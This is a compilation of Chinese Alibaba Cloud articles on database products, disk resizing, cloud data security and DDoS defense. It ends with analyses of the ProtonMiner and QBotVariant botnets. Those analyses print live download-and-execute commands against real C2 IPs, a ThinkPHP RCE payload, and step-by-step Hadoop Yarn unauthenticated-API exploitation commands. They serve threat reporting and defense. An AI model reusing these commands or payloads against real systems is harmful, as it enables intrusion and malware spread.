作为以解决 阿里巴巴 客户发展问题为初心研发的产品，飞天大数据平台用了10年时间开花结果，不仅攻克了公司内部的瓶颈，也解决了广大中小企业普遍性的问题、带来了开创新的成果。这种从需求出发倒逼技术进步，并进而对外服务的研发道路，让外界对阿里 云飞天大数据平台的下一个10年亦充满期待。

近日，全球最知名的数据管理系统评测标准化TPC组织公布了数据库领域分析性能基准测试最新排名，阿里云超大规模分析型数据库AnalyticDB登上榜首，是全球首个通过TPC严格审计认证的云数据库产品。

简单来说，AnalyticDB是一款可以对数据进行在线统计和分析的数据库，帮助企业简单快速实时挖掘数据价值。登上TPC榜首，意味着其已经成为全球最快的实时数据仓库！

目前，阿里云已经拥有国内最丰富的云数据库产品，AnalyticDB只是其中之一。

在多个数据库细分领域，阿里云已经实现了业界领先，并且已经集齐了一套最强阵容：

01

在新零售场景中，数据分析师做市场趋势分析、业务在做广告投放时，都需要在PB级数据上依据不断变化的业务模型做分析探索，对业务发展方向进行决策。

而这就需要分析型数据库AnalyticDB的能力了，目前这款产品已经成为全球最快的实时数据仓库，在复杂分析场景中性能提升10倍，万亿数据多维分析仅需毫秒级。

02

例如面对互联网大规模流量场景，阿里云拥有国内首款云原生数据库POLARDB，它最大的特点就是拥有极强的弹性能力，能大能小，解决了传统数据库昂贵、扩展性差、技术复杂、迭代慢的瓶颈。

技术方面，也采用了多个领先技术：容器虚拟化技术、存储与计算分离、共享分布式块存储技术，企业只需5分钟即可实现缩扩容，计算能力最高可扩展至1000核，存储容量最高可达100TB。被认为是云时代企业数据库的最佳选择。

03

还有一类是擅长多度关系数据查询的。在金融欺诈检测场景中，图数据库可快速通过贷款联系人（或者联系人的联系人）信用信息，对用户进行信用评分，如果评分较低，则拒绝贷款或者提升利率。

阿里云GDB就具备这样的能力，GDB是国内首个云原生图数据库，可以对高度互连的数据集进行深度优化，用最短代码实现多度关系数据的查询与存储，提升查询效率10倍以上，查询时间降低至毫秒级。

04

作为阿里云最早的云数据库产品，RDS已经成长为业界功能最丰富的数据库，支持MySQL、SQL Server、PostgreSQL 、MariaDB等主流数据库，可以满足不同场景的需求。

05

传统数据库要上云，最关键的一步是保障数据库高效可靠地迁移。因为数据库承载着企业核心业务，但传统的数据库迁移工具要求数据库在迁移中必须停服，极大影响业务。

阿里云数据传输服务DTS大幅提升了数据库上云的速度，其最大的特点是采用分布式并发架构、智能分片、并行抓取技术，数据迁移最快可达100Mb/S，支持18种数据源，百PB级数据迁移业界最快。

大家不妨脑洞一下，看完这五款数据库产品，你想到了什么超级英雄？

 阿里云支持针对正在使用中（running状态）的云盘进行在线扩容，用户无需重启（reboot instance）实例即可完成物理空间扩容。

2.云盘在线扩容操作演示

 您可以通过控制台或者API方式完成在线kuo扩容。如下演示用如何通过控制台完成在线扩容。若您使用API方式，请使用ResizeDisk命令完成。

2.1Step1：准备工作

• 为了扩容过程中操作失败导致数据丢失，强烈建议您在扩容之前“创建快照”

• 当前在线扩容支持所有的Region，但仅支持“高效云盘”、“SSD云盘”以及“普通云盘”，暂不支持ESSD云盘

• 云盘在线扩容仅是扩展云盘物理空间，并不调整分区以及文件系统的大小。因此完成“云盘在线扩容”后，需根据实际情况扩展磁盘分区以及文件系统

• MBR格式分区不支持大于2 TiB的云盘容量。如果待扩容的云盘采用的是MBR分区格式，且需要扩容到超过2 TiB时，建议您重新创建并挂载一块数据盘，然后使用GPT分区方式并将数据拷贝至新数据盘中

• 对于Windows实例，仅支持NTFS文件系统扩容

2.2Step2:线扩容操作

1. 登录ECS控制台

2. 在左侧导航栏，选择存储与快照 > 云盘

   为了防止扩容中操作失败，强烈建议您在操作“云盘在线扩容”之前，针对待扩容的云盘创建快照

3. 找到需要扩容的云盘，在操作列表中选择 更多 > 磁盘扩容

4. 勾选“在线扩容”，如下图所示：
   

5. 设置扩容后的容量（最大支持6144GB），变更后的容量不允许小于当前容量

6. 完成支付

2.3Step:扩容分区&文件系统

详细操作步骤请参考：“在线扩容云盘”

阿里云资深安全专家黄瑞瑞

本方案的目标是为用户提供从底层云平台数据安全到上层的云上环境保护，并标明各层次模块，让用户可以像建房子一样，一层层的搭建可信的在云上数据的安全保护。在各横向层次模块之外，云上数据安全也需要纵向的认证、授权、访问控制和日志审计功能，从而为客户提供可控和合规的云上数据安全保护方案。

云上数据保护方案

整体而言，云上的数据安全保护方案需要做到三点原则：可信、可控、合规。换言之，只有在可信和可控的云上环境中，提供合规的数据安全保护方案才能真正做到为客户提供最顶级的数据保护。会上，黄瑞瑞针对这三点原则做出了针对性的技术介绍和讨论。

阿里云在云平台层面为客户提供默认高安全等级的基础设施能力，使客户可以放心的将数据存放和计算在可信的云平台上。值得特别指出的是，阿里云在云平台层面会对硬件和固件的安全进行加固和扫描，并使用TPM2.0技术来提供可信的度量和证明云平台底层的安全计算环境。同时阿里云具备基于硬件加密机（HSM）和芯片级别（SGX ）的安全计算能力。

阿里云基础设施安全能力

在云产品层面，数据安全主要体现在云产品提供可信的数据加密能力、备份能力和校验能力。会上，黄瑞瑞对于云产品的加密能力进行了针对性的讲解，并向参会嘉宾特别介绍了阿里云的全链路加密能力。全链路加密顾名思义是指针对数据加密在传输链路，以及计算和存储节点提供对应的业界高级别加密能力。传输加密主要依赖SSL/TLS加密并提供AES256强度的加密保护。计算节点中阿里云在2017年即开始提供芯片级SGX加密计算环境（在提供SGX能力的云厂商中，阿里云为亚洲第一、世界第二提供此能力的厂商）。在存储加密环节，阿里云不但能提供高强度（AES256）的数据落盘加密能力，更通过密钥管理服务（KMS）提供用户自带密钥（BYOK）功能。联合KMS密钥管理，阿里云可以为用户提供全链路的数据加密保护。

数据全链路加密

整体来说，数据加密操作流程是明文数据经由国际国内公认的安全算法计算得出数据密文。在加密操作中，被安全保护和管理的密钥是加密保护的充分而必要的条件。换言之，控制了密钥，也就控制了整体加密操作的主动权。早在2015年阿里云就在业内首个发起“数据保护倡议”，并在倡议中明确用户数据所有权归属用户，云计算平台不得擅自移作它用。因此，用户自带密钥（BYOK）功能是阿里云致力于保护用户隐私和将数据控制权进一步交给客户的重要技术手段。由于用户自带主密钥为用户资源，而任何调用需通过用户授权（通过阿里云RAM服务），用户对于加密后数据的使用有了完全自主的控制权和主动权。同时，任何对于用户资源的调用都会在日志审计中完整的显示出来，因此加密后数据的云上使用透明性也有了更好的保障。

在云上数据安全保护层面，黄瑞瑞提出了敏感数据保护的三个技术点，包括分类分级（敏感数据鉴别）、访问控制和防泄漏能力。在分类分级技术点中，今天的正态规则引擎虽然能识别规则的敏感数据格式，但针对日益严格的用户隐私保护需求和法律法规，人工智能（AI）引擎也必须被高效的利用起来。今天的AI引擎可以和规则引擎相配合，利用规则引擎的低误报率来降低其误报率并在规则引擎的基础上提供更加智能的数据鉴别能力。当敏感数据被鉴别出来后，云服务应当提供细粒度的访问控制，尤其应提供在用户属性基础上针对数据本身敏感属性的访问控制能力。最后，敏感数据的防泄漏能力必须在网络、终端和应用各个层面完整的提供。整体而言，云上数据安全保护应当提供从鉴别数据、控制数据访问和防止泄露能力上提供全面的保护。

敏感数据保护的三个技术点

在阿里云提供了可信和可控的数据保护技术手段的前提下，更进一步获得了中国和国际上的各大权威合规认证。目前阿里云已经成为合规资质最全的亚太云服务提供商，是亚太首家获得德国C5和ISO27001认证的企业，中国首家获得MTCS Level3和ISO 20000认证的企业，并为世界互联网大会、G20峰会、“一带一路”高峰论坛等多个国际重大活动，提供高等级网络安全护航。

阿里云获得的合规认证

阿里云的安全使命是将云上安全做到极致，提供更坚固，更强壮的安全能力给用户坚实的后盾，解放用户使其能专注本身的业务问题。尤其在数据保护层面，必须为用户提供最有力的全面安全保护能力。“我们的目标是当用户考虑上云时，不再考虑由于安全能否上云，而是确认正是因为安全而必须上云。”黄瑞瑞最后表示。

2016年6月1日开始,苹果规定所有提交至AppStore的应用必须兼容IPv6-only标准。可以预计，2018年底会有大量互联网资源、上网用户使用IPv6协议。这意味着，如果一个互联网服务不能支持IPv6，将失去大量用户流量。

2017年底，中共中央办公厅、国务院办公厅印发了《推进互联网协议第六版（IPv6）规模部署行动计划》，要求到2018年末，IPv6活跃用户数达到2亿，并要求国内用户量排名前50位的商业网站及应用支持IPv6。IPv6成为国家战略。

随着IPv6时代的到来，IPv6网络下的攻击开始出现。2018年初，Neustar宣称受到了IPv6DDoS攻击，这是首个对外公开的IPv6 DDoS攻击事件。thc-ipv6、hping等IPv6的DDoS攻击工具也开始在互联网上出现。

2018年11月，淘宝、优酷的双十一首次跑在IPv6上。同时，阿里云云盾建成国内首家IPv6 DDoS防御系统，支持秒级监控、防御海量IP，为淘宝、优酷云上业务提供IPv4+IPv6双栈DDoS自动防护。双11期间，双栈防御系统拦截5000多次DDoS攻击，最大攻击流量达到397Gpbs。

IPv6时代，网络安全面临新的挑战

虽然IPv4下的防御系统已经非常成熟，但系统并不能直接用于IPv6防护，需要全链路重构支持IPv6。从流量监控、调度、清洗、黑洞都需要重新适应IPv6的新网络环境。此外，由于IPv6协议的新特性，可能会被黑客用于DDoS或DoS攻击：

 ●  IPv6的NextHeader新特性可能被黑客用于发起DoS攻击，比如Type0路由头漏洞，通过精心制造的数据包，可以让一个报文在两台有漏洞的服务器之间“弹来弹去”，让链路带宽耗尽，也可以绕过源地址限制，让合法的IP反弹报文；
 ●  IPv6新增NS/NA/RS/RA，可能会被用于DoS或DDoS攻击；
 ●  IPv6支持无状态自动配置，同时子网下可能存在非常多可使用的IP地址，攻击者可以便利的发起随机源DDoS攻击；
 ●  IPv6采用端到端的分片重组机制，如果服务器存在漏洞，可能会被精心伪造的分片包DoS攻击。

与此同时，IPv6下攻防态势也产生新的变化。IPv6提供海量的地址，一个IDC就可能申请到非常大的可用地址块，这对源IP频率和限速类的防御算法来说简直是噩梦。特别是应用层的DDoS：HTTP Flood、刷票、爬虫将变得更加难以防御。此外，随着自动驾驶汽车、物联网设备、移动终端等越来越多的智能设备入网，这些设备一旦被入侵都可能成为发起DDoS的僵尸网络，产生海量的攻击报文。

DDoS攻击往往是出于商业利益，据阿里云发布的《2018上半年网络安全报告》显示，游戏、移动应用、电子商务等竞争激烈的领域是DDoS攻击的重点阵地。随着企业业务切到IPv6协议，IPv6下的DDoS攻击在一段时间里会非常有效，因为很多企业并没有做好IPv6 DDoS防御的准备，对攻击者来说可以轻易达成攻击目标。此时IPv6下的DDoS攻击会逐步热门起来，成为很多企业的阿喀琉斯之踵。

阿里云IPv6DDoS防御最佳实践

针对挑战和变化需要解决的问题：

 ●  网络和DDoS防御系统需要改造甚至重构支持IPv6。
首先，虽然IPv4网络已经非常成熟，但到了IPv6网络，现有的很多企业网络、服务器网络的大部分都需要更换设备和重新开发系统，才能支持IPv6网络以及IPv6网络下的安全防护；
部分企业寄希望运营商会提供平滑的过渡方案，但运营商只会对运营商网络边界内进行改造升级，企业如果需要支持IPv6，是需要自身进行改造升级的。
 ●  IPv6的地址总量是IPv4的2的96次方倍，系统需要更强大的处理性能才能支持海量的IP的安全防御。
 ●  针对大流量DDoS，需要建立运营商级别的IPv6黑洞能力。
 ●  防御算法和防御模式都需要适应IPv6的新挑战。
 ●  在业务切换到IPv6的同时，需要具备IPv6网络下的安全防护能力。

阿里云如何实现：

1.重构系统支持IPv4+IPv6的双栈DDoS自动防护

a) 流量监控预警系统

流量监控预警系统需要支持IPv6和IPv4，同时检测双栈流量，为了能检测IPv6海量的IP地址，阿里云DDoS系统采用了分布式集群的方式，将流量分散到集群上协作运算，对多个流量指标进行统计，秒级监控流量的异常。

b) 调度系统

对调度系统升级，支持双栈，自动判断IP类型，启动对应防御模式和清洗算法。

c) 清洗系统

重新设计部署了牵引、回注、清洗系统，并制定针对IPv6的清洗算法。

2.运营商级别黑洞能力

不管是IPv4还是IPv6，当某个IP攻击流量特别大，会导致整个带宽拥塞。无论对IDC机房、云服务商来说，1个IP被攻击导致所有业务不可用简直是灾难。特别是IPv6网络带宽相对于IPv4还处于建设初期，攻击拥塞风险更大。

阿里云和各大ISP服务商建立IPv6黑洞联动能力，可以在运营商IPv6骨干网丢弃流量，提供安全的云环境。

3.防护模式的升级

a) 针对prefix级别的防御算法：

虽然一个IDC就可能申请到海量的IP地址，但这些IP地址归属的IP地址块不会太多，即使攻击者可以切换海量的IP地址，但在同一个机房的肉鸡IP很难在网段级别离散，通过IP地址网段来统计和分析可以有效减弱IPv6海量地址带来的冲击。

b）协同防御：

在传统IDC和单机安全设备上，一个IP的异常指标可能非常低，很难分析它是攻击还是正常访问，同时很难判断这个IP是否是NAT或园区出口，结合IPv6的海量IP，攻击者可以进一步降低被识别的可能。但攻击者为了成本和效率，一个IP不可能只攻击一个目标。比如IP X.X.X.X 在DDoS了服务器A之后，可能又去CC攻击了服务器B。在阿里云上，由于规模效应，有海量的IP同时在被防御，所有清洗数据进行了在线化分析，一个IP的行为特征就有了上帝视角，攻击者变得非常明显，所有租户的防御就可以协同作战，威胁情报可以共享。

c) 智能化深度防御：

针对应用层的DDoS攻击，基于频率和限速的模式会越来越难防御，假如一个网站能承受1W qps。在IPv6下，攻击者可以很廉价的获取1W个IP，每个IP每秒发起1次请求，这个网站就会不堪重负。所以，在IPv6下应用层的DDoS攻击防御，更高级的人机识别技术、人机对抗技术将成为主流。目前阿里云已在Web应用防火墙上应用了多种人机对抗技术。

安全建议

对于普通互联网服务提供者来说，重构、升级系统来支持IPv6需要花费大量的成本，建议利用云服务快速搭建基于IPv6的服务。目前，阿里云已有多款产品支持IPv6，同时以SaaS化的形式提供IPv6 DDoS防护能力，助力企业一秒搭建更高级别的防御能力。

DDoS（Distributed Denial of Service，分布式拒绝服务）主要通过大量合法的请求占用大量网络资源，从而使合法用户无法得到服务的响应，是目前最强大、最难防御的网络攻击之一。

DDoS作为一种古老的攻击方式，其防御方式也经历了多个发展阶段：

内核优化时代

在早期时代，没有专业的防护清洗设备来进行DDoS防御，当时互联网的带宽也比较小，很多人都是在用56K的modem拨号上网，攻击者可以利用的带宽也相对比较小，对于防御者来说，一般通过内核参数优化、iptables就能基本解决攻击，有内核开发能力的人还可以通过写内核防护模块来提升防护能力。

在这个时期，利用Linux本身提供的功能就可以基本防御DDoS攻击。比如针对SYN FLOOD攻击，调整net.ipv4.tcp_max_syn_backlog参数控制半连接队列上限，避免连接被打满，调整net.ipv4.tcp_tw_recycle，net.ipv4.tcp_fin_timeout来控制tcp状态保持在TIME-WAIT，FIN-WAIT-2的连接个数；针对ICMP FLOOD攻击，控制IPTABLES来关闭和限制ping报文的速率，也可以过滤掉不符合RFC协议规范的畸形报文。但是这种方式只是在优化单台服务器，随着攻击资源和力度的逐渐增强，这种防护方式就显得力不从心了。

专业anti-DDoS硬件防火墙

专业anti-DDoS硬件防火墙对功耗、转发芯片、操作系统等各个部分都进行了优化，用来满足DDoS流量清洗的诉求。 一般IDC服务提供商会购买anti-DDoS硬件防火墙，部署在机房入口处为整个机房提供清洗服务，这些清洗盒子的性能从单台百兆的性能，逐步发展到1Gbps、10Gbps、20Gbps、100Gbps或者更高，所提供的清洗功能也基本涵盖了3-7层的各种攻击（SYN-FLOOD、UDP-FLOOD、ICMP-FLOOD、ACK-FLOOD、TCP连接型FLOOD、CC攻击、DNS-FLOOD、反射攻击等）。

这种方式对IDC服务商来讲有相当高的成本，每个机房入口都需要有清洗设备覆盖，要有专业的运维人员来维护，而且并不是每个IDC机房都可以有同等的清洗防护能力，有的小机房上联可能只有20G带宽，且不具备复用这些清洗设备的能力。

云时代的DDoS高防IP防护方案

在云时代，服务部署在各种云上，或者传统的IDC机房里面，他们提供的DDoS基础清洗服务标准并不一致，在遭受到超大流量DDoS攻击情况下，托管所在的机房并不能提供对应的防护能力，不得已，为了保护他们的服务不受影响，就会有“黑洞”的概念产生。黑洞是指服务器受攻击流量超过IDC机房黑洞阈值时，IDC机房会屏蔽服务器的外网访问，避免攻击持续，影响整体机房的稳定性。

在这种情况下，DDoS高防IP是通过建立各种大带宽的机房，提供整套的DDoS解决方案，将流量转到DDoS高防IP上进行防护，然后再把清洗后的干净流量转发回用户真正的源站。这种方式会复用机房资源，专业机房做专业的事情。简化DDoS防护的复杂度，以SaaS化的方式提供DDoS清洗服务。

由此可以看出，云时代的DDoS高防IP不仅可以满足对大宽带的刚性需求，而且对用户来说具有隐藏源站、可以灵活更换清洗服务商的优势。

DDoS高防IP系统关键组成

带宽&网络

带宽&网络是DDoS防护的第一诉求，首先要做的就是拥有一个高带宽的机房。目前国内主流机房主要为电信单线机房、联通单线机房、移动单线机房和BGP多线机房。

单线机房和BGP多线机房的特点以及差别是什么呢？

特点

单线机房

BGP多线机房

带宽&成本

购买成本适中，DDoS带宽较大（Tb级）

成本昂贵，DDoS带宽相对较小

访问质量

访问质量一般，受运营商跨网影响较大

访问质量好，BGP网络最优选路

业务复杂度

如果用户需要多线访问，一般要多个IP（一个电信，一个联通，一个移动等），导致业务复杂度较高。

只需要一个IP地址，多线接入，业务复杂度低。

容灾

容灾不足，一旦机房网络存在问题，容灾方案一般只能在业务层做切换

BGP协议本身具有冗余备份、消除环路的特点，所以当IDC服务商有多条BGP互联线路时可以实现路由的相互备份，在一条线路出现故障时路由会自动切换到其它线路。

另外一个维度就是带宽上限，目前对于国内DDoS高防IP来说，300Gbps的防护能力都是入门级别的，1Tbps的防护能力乃至无限抗的解决方案越来越多的出现用户的选择中。

T级防护能力的BGP多线机房也逐步成为了未来的发展目标。阿里云致力于为客户能够提供访问质量和防护能力俱佳的DDoS高防IP。

大流量清洗集群 

这是另外一个关键技术。DDoS清洗的核心部分是将攻击流量拦截下来。一般攻击种类和对抗体系有以下几种：

a）攻击防护：在带宽资源足够的条件下，如何对DDoS攻击流量清洗是下一步需要考虑的，一般来说，专业的DDoS清洗防护设备的主要防护方法包括几类：畸形包、特定协议丢弃；源反弹认证体系；统计限速&行为识别。攻击类型一般有SYN-FLOOD、UDP-FLOOD、ICMP-FLOOD、ACK-FLOOD、TCP连接型FLOOD、CC攻击、DNS-FLOOD、反射攻击等等。

 ●  畸形包、特定协议丢弃很简单，即对于不符合RFC协议规范的报文、反射类攻击都可以用指定特征的方式进行防护。
 ●  源反弹认证是针对syn flood的防护方法，一般采用反向验证的防护方法，如syn cookie，即清洗设备替服务端校验访问源的真实性，方法是在TCP三次握手中，在回复synack报文的时候，使用一种特殊的算法生成Sequence Number，这种算法考虑到了对方的IP、端口、己方IP、端口的固定信息等多种信息，并在ack报文的时候确认。如果是真实访问者，放行流量。同理，复杂的CC攻击可以用反弹一个图片验证码的方式校验攻击者是否为真实客户。
 ●  统计限速&行为识别这里就会综合各种黑白名单，用户访问速率、行为，进行一个速率控制的防护。

b）集群架构：在目前的DDoS防护趋势下，防护必须有弹性扩容的能力，才可以跟进攻防对抗的趋势。另外这里还会提到100G口的普及。一般来说流量的负载均衡是根据五元组里面的特征进行负载均衡hash的，如果单口的带宽比较小（10G or 40G），那么一旦攻击流量的五元组的hash不均匀，他们有更大的几率会拥塞，流量根本就不会送到清洗设备引擎上去。这个也是大集群清洗体系比较重要的一点。

c）运营体系：DDoS对抗运营也是非常关键的一环，需要多年实时对抗的经验积累，在面对一些新型攻击及突发情况时，快速的分析和决策是解决问题的一个关键部分。

负载均衡设备&安全组件

负载均衡技术是代理高防的关键技术，这里面包括4层负载均衡和7层负载均衡。

4层负载均衡技术，为每一个客户业务提供一个独享的IP，本身的转发能力要高性能、高可用性，同时还要具备安全防护能力，能够对抗连接型攻击。

7层负载均衡技术，针对网站类业务的代理和防护，对HTTP/HTTPS协议的支持，各种CC攻击的防护，都会集成在7层负载均衡的系统里面。

 ●  独享IP。优点就是一个业务IP被DDoS攻击，不会影响其他的业务，资源隔离。
 ●  高可用，可扩展。根据应用负载进行弹性扩容，在流量波动情况下不中断对外服务。可以根据业务的需要，随时增加或减少后端服务器的数量，扩展应用的服务能力。
 ●  安全能力。具备in/out双向流量信息，可以提供精细化、域名级别、session级别的应用级别DDoS防护。

对4层和7层进行深度开发安全功能，上下游配合，各取所长，配合大流量清洗集群才能将防护做到极致。

数据实时分析系统

流量分析

首先是数据源，数据源机制有很多种，比较熟知的是利用NetFlow进行采样分析攻击检测，也可以通过1:1分光分流的方式获取全部流量统计检测，很明显1:1分光的方式需要更高的资源和更高效的数据分析系统，需要研发能力和技术支撑的，也会取得更佳的效果。

应用识别

拿到原始报文和数据后，需要做的就是区分应用了。应用的区分可以是IP级别，可以是IP+端口级别，也可以是域名级别等。不同业务的防御方法是有差别的，需要做到根据业务特性来制定专业的防御方案。

攻击分析

目前DDoS的攻击分析已经摆脱了以前基于统计的分析算法，引入了行为识别、机器学习的理论和实践，而这些算法都帮助我们能更好对攻击进行防护，我们还应该关注如何将这些算法有效的实时应用到用户的防御对抗中。

综上来看，DDoS攻击防护存在木桶短板原理，任何一个攻击防护点的效果都会影响到整体的防御效果。未来的DDoS高防IP应该具备弹性带宽、高冗余、高可用、访问质量优、业务接入简单的特点。同时通过DDoS防护能力的OPENAPI化，和用户自动化运维体系的打通，实现安全和业务结合，以更好的助力业务发展。

近日，阿里云安全监测到一种挖矿蠕虫，正在互联网上加速传播。阿里云安全根据它使用ProtonMail邮箱地址作为矿池用户名的行为，将其命名为ProtonMiner。据分析，这种蠕虫与TrendMicro于2018年12月曾报导过的“利用ElasticSearch旧漏洞传播的蠕虫”非常相似，可能是同一团伙所为。但与先前报导不同的是，二月中旬，该挖矿蠕虫扩大了攻击面，从仅攻击ElasticSearch这一种服务，变为攻击包括Redis, Weblogic在内的多种服务，传播速度大大加快。

本文着重描写该挖矿僵尸网络的传播手法，并在文末列出了安全建议，以帮助用户避免遭受感染，或在已被感染的情况下进行清理。

感染路径

攻击者先控制被感染主机执行以下两条命令之一，从而下载并运行uuu.sh。

/bin/bash -c curl -fsSL http://45.76.122.92:8506/IOFoqIgyC0zmf2UR/uuu.sh |sh/bin/bash -c curl -fsSL http://207.148.70.143:8506/IOFoqIgyC0zmf2UR/uuu.sh |sh

而uuu.sh脚本运行后，将继续下载挖矿程序和配置文件用于挖矿，以及下载蠕虫木马用于继续攻击未感染主机。

“谨慎”的入侵脚本

入侵脚本uuu.sh，首先会通过试着写入"/etc/devtools"目录，来判断当前账户是否拥有root权限；脚本的大部分功能，只有当前账号具有root权限时才会运行。

#!/bin/shecho 1 > /etc/devtoolsif [ -f "$rtdir" ]

    then

        echo "i am root"

        echo "goto 1" >> /etc/devtools

 # download & attack

fi

该脚本具有典型挖矿事件中恶意脚本的特征：检查并杀死其他僵尸网络的进程、将自身写入系统crontab文件、修改iptables设置从而允许某些端口上的通信等。然而这一脚本的作者或许更加谨慎：

1.在脚本最后，攻击者清空了命令历史记录

2.在挖矿配置文件中，攻击者使用了多个ProtonMail邮箱地址作为连接到矿池的用户名。ProtonMail是世界最大的安全邮件服务提供商，ProtonMiner也是因此而得名。这种使用邮箱地址，而非门罗币钱包地址作为矿池用户名的做法很好地“保护”了攻击者的隐私，也为安全工作者们判断该僵尸网络的规模和收益情况增加了难度。

传播分析

ProtonMiner的横向传播程序名为"systemctI"，是一个由Go语言编译的程序。它的main函数如下图所示：

该程序在运行时，会首先通过_tmp_exe_linx_ipc_Init_ip等方法对要扫描的ip和使用的弱密码进行初始化。过程中会请求并下载以下两个地址的文件。

https://pixeldra.in/api/download/I9RRye (ip地址c段列表)
https://pixeldra.in/api/download/-7A5aP (弱密码列表)

之后程序会进入main_Scan函数，该函数包含大量的扫描和漏洞利用相关子函数。

下表列出了受到该挖矿僵尸网络影响的服务和漏洞：

例如一个ThinkPHP 的payload：

POST /index.php?s=captcha HTTP/1.1%0d%0aHost: ...%0d%0aUser-Agent: Go-http-client/1.1%0d%0aContent-Length:132%0d%0aConnection: close%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aAccept-Encoding:gzip%0d%0a%0d%0a_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=url -fsSLhttp://45.76.122.92:8506/IOFoqIgyC0zmf2UR/uuu.sh |sh

ProtonMiner僵尸网络扩大攻击面之后，传播速度有了显著的提升。从下图可以看出，进入2月份以来，攻击量快速上升，并在2月中旬达到高峰，阿里云观察到已有上千台主机受到感染：

安全建议

1. 不要用root账户启动数据库、网站服务器等服务，因为root启动的服务一旦被成功入侵，攻击者将拥有被入侵主机的所有权限。此外，像Redis和Hadoop这些主要是内部使用的服务，不应暴露在公网上。

2. 挖矿僵尸网络更新速度非常快，它们部分导致了互联网上无处不在的威胁。您可以使用云防火墙服务，检测、拦截、并保护客户避免感染。

3. 如果你关注自身业务的网络安全却又雇不起一名安全工程师，那么你可以试试阿里云的安全管家产品，让阿里云的安全专家来给你恰当的帮助，例如协助你清除已存在的病毒、木马等。

IOC

C&C服务器:

45.76.122.92

207.148.70.143

恶意文件:

矿池地址：

xmr.pool.minergate.com:45700

使用的账号（邮箱）名:

xjkhjjkasd@protonmail.com

dashcoin230cdd@protonmail.com

alksjewio@protonmail.com

23odi093dd@protonmail.com

olpeplckdd3@protonmail.com

安全24小时 

● 阿里云云盾从平台层和业务层护航双11的云上业务，平稳承受住11月11日0点峰值的考验。

● 阿里云平台自动识别并拦截来自194个国家的28.6亿次攻击，其中海外攻击占比40.6%。

● 云盾DDoS高防防护5000+次DDoS攻击，最大攻击流量397Gbps。

● 云盾Web应用防火墙检测20亿+次请求，拦截2000万+ Web入侵攻击、2亿+ CC\爬虫攻击。

新技术护航 

● 作为国内第一家推出Anycast高防产品的服务商，阿里云在全球建成6大Anycast清洗中心，为Lazada和云上客户海外业务提供安全护航服务。

● 作为国内首家提供IPv6 DDoS防御系统的云服务商，为双11首次跑在IPv6上的淘宝、优酷等业务提供IPv4+IPv6双栈DDoS秒级自动防护。

● 云盾业务风控产品首次通过自研风控引擎在购物节期间为云上数百位客户提供790万+次风险识别服务，在多维度安全策略的保障下，整体顺畅且无风险事件发生。

安全是一切背后不可或缺的力量，安全是一种普惠科技。我们一直在行动。

——阿里云安全团队

阿里云安全团队从今年5月份监测到一BOT家族，其样本改写自互联网公开渠道源码，在互联网上广泛传播，造成了极大的危害，云安全团队对该类样本做了分析、聚类、溯源，在此我们将该类样本命名为QBotVariant。

QBotVariant具有DDoS攻击、后门、下载器、暴力破解等功能，一旦被入侵便变成肉鸡，其主要传播方式通过Hadoop Yarn资源管理系统REST API未授权访问漏洞和基于弱口令的暴力破解。类似Mirai该BOT家族针对多个版本的操作系统，不仅服务器受到危害，如CCTV监控、家庭路由等IOT设备更容易被攻击、入侵。Radware公司Pascal Geenens在最新的博客《New DemonBot Discovered》中提及到该类样本，但是他发现的IP、样本等信息只是该类家族的其中一个样本，而我们从监测到30多个下载服务器可以看出，QBotVariant多变的IP和二进制样本变种，使其难以发现和跟踪。

在云平台上，我们监测到的QBotVariant活跃度如下，峰值的时候可以达到上千个，活跃度一直未减。

以下我们将从传播方式、脚本分析、样本分析、溯源等多个角度对QBotVariant进行详细的分析。

入侵、传播方式

QBotVariant家族传播的方式有两种，一是利用Hadoop Yarn资源管理系统REST API未授权访问漏洞进行入侵，二是通过硬编码的弱密码进行SSH暴力破解。

Hadoop是一款由Apache基金会推出的分布式系统框架，它通过著名的MapReduce算法进行分布式处理，Yarn是Hadoop集群的资源管理系统。Hadoop Yarn资源管理系统配置不当导致可以未经授权进行访问，从而被攻击者恶意利用。攻击者无需认证即可通过REST API部署任务来执行任意代码，最终完全控制服务器。

其问题来源于对外开启了以下作用的端口

yarn.resourcemanager.webapp.address，默认端口8088

yarn.resourcemanager.webapp.https.address，默认端口8090

通过对新申请application，如下指令

curl -v -X POST 'http://ip:port/ws/v1/cluster/apps/new-application'

再执行如下指令即可完成入侵

curl -s -i -X POST -H 'Accept:application/json' -H 'Content-Type:application/json'http://ip:port/ws/v1/cluster/apps -data-binary @example.json

其example.json文件如下

{

"am-container-spec":{

"commands":{

"command":"执行的命令书写在这里"

}

},

"application-id":"application_xxxx_xxxxx",

"application-name":"test",

"application-type":"YARN"

}

脚本分析

我们通过溯源找到了QBotVariant比较原始版本的脚本，在原始版本的脚本中支持wget、tftp、ftpget等脚本的执行，从远程下载服务器下载脚本并执行

bash -c cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;

wget http://185.244.25.153/bins.sh; chmod 777 bins.sh; sh bins.sh;

tftp 185.244.25.153 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh;

tftp -r tftp2.sh -g 185.244.25.153; chmod 777 tftp2.sh; sh tftp2.sh;

ftpget -v -u anonymous -p anonymous -P 21 185.244.25.153 ftp1.sh ftp1.sh; sh ftp1.sh tftp1.sh tftp2.sh ftp1.sh

以下是阿里云安全截获的一个经过改写的下载脚本，从脚本可以看出作者为了能够很好的对IOT设备支持，一方面编译了不同版本的程序，通过ntpd、sshd、openssh等进行伪装；另一方面每个命令行都加入了对busybox的支持，这些使得该类脚本很好的支持了IOT设备，为QBotVaraint的传播提供了更加便捷的途径。

在阿里云捕获的源码中有用于编译多个版本的脚本

QBotVariant支持版本类型及其对应二进制名称:

样本分析

阿里云截获的多批次样本都比较相似，都改编于QBot。某些作者为了精简样本或者进行杀软对抗可能将某些功能进行裁剪，我们随机对比两个捕获的样本，如图右边的样本对getRandomPublicIP函数进行了裁剪，该样本只实现了QBot的少许功能，其文件更小、功能更加单一。

而绝大部分样本都实现了基本功能，其传播性、危害性等性质并未改变，部分函数如图所示

指令分析

我们对远控指令进行了分析，其功能如下图所示

值得注意是StartTheLelz函数，该函数主要用于对随机生成的IP地址进行爆破，如图通过getRandomPublicIP函数得到随机的IP，将硬编码的用户名和密码存储在结构体中，然后进行连接，其最大爆破次数通过max变量进行控制，max和文件描述表的项数有关但最大不超过4096。

通过数据区可以看见作者集成了几种常见的用户名和密码用于爆破

如果最终爆破成功，则会在被爆破的主机中执行如下脚本，从而感染主机，再继续向外传播

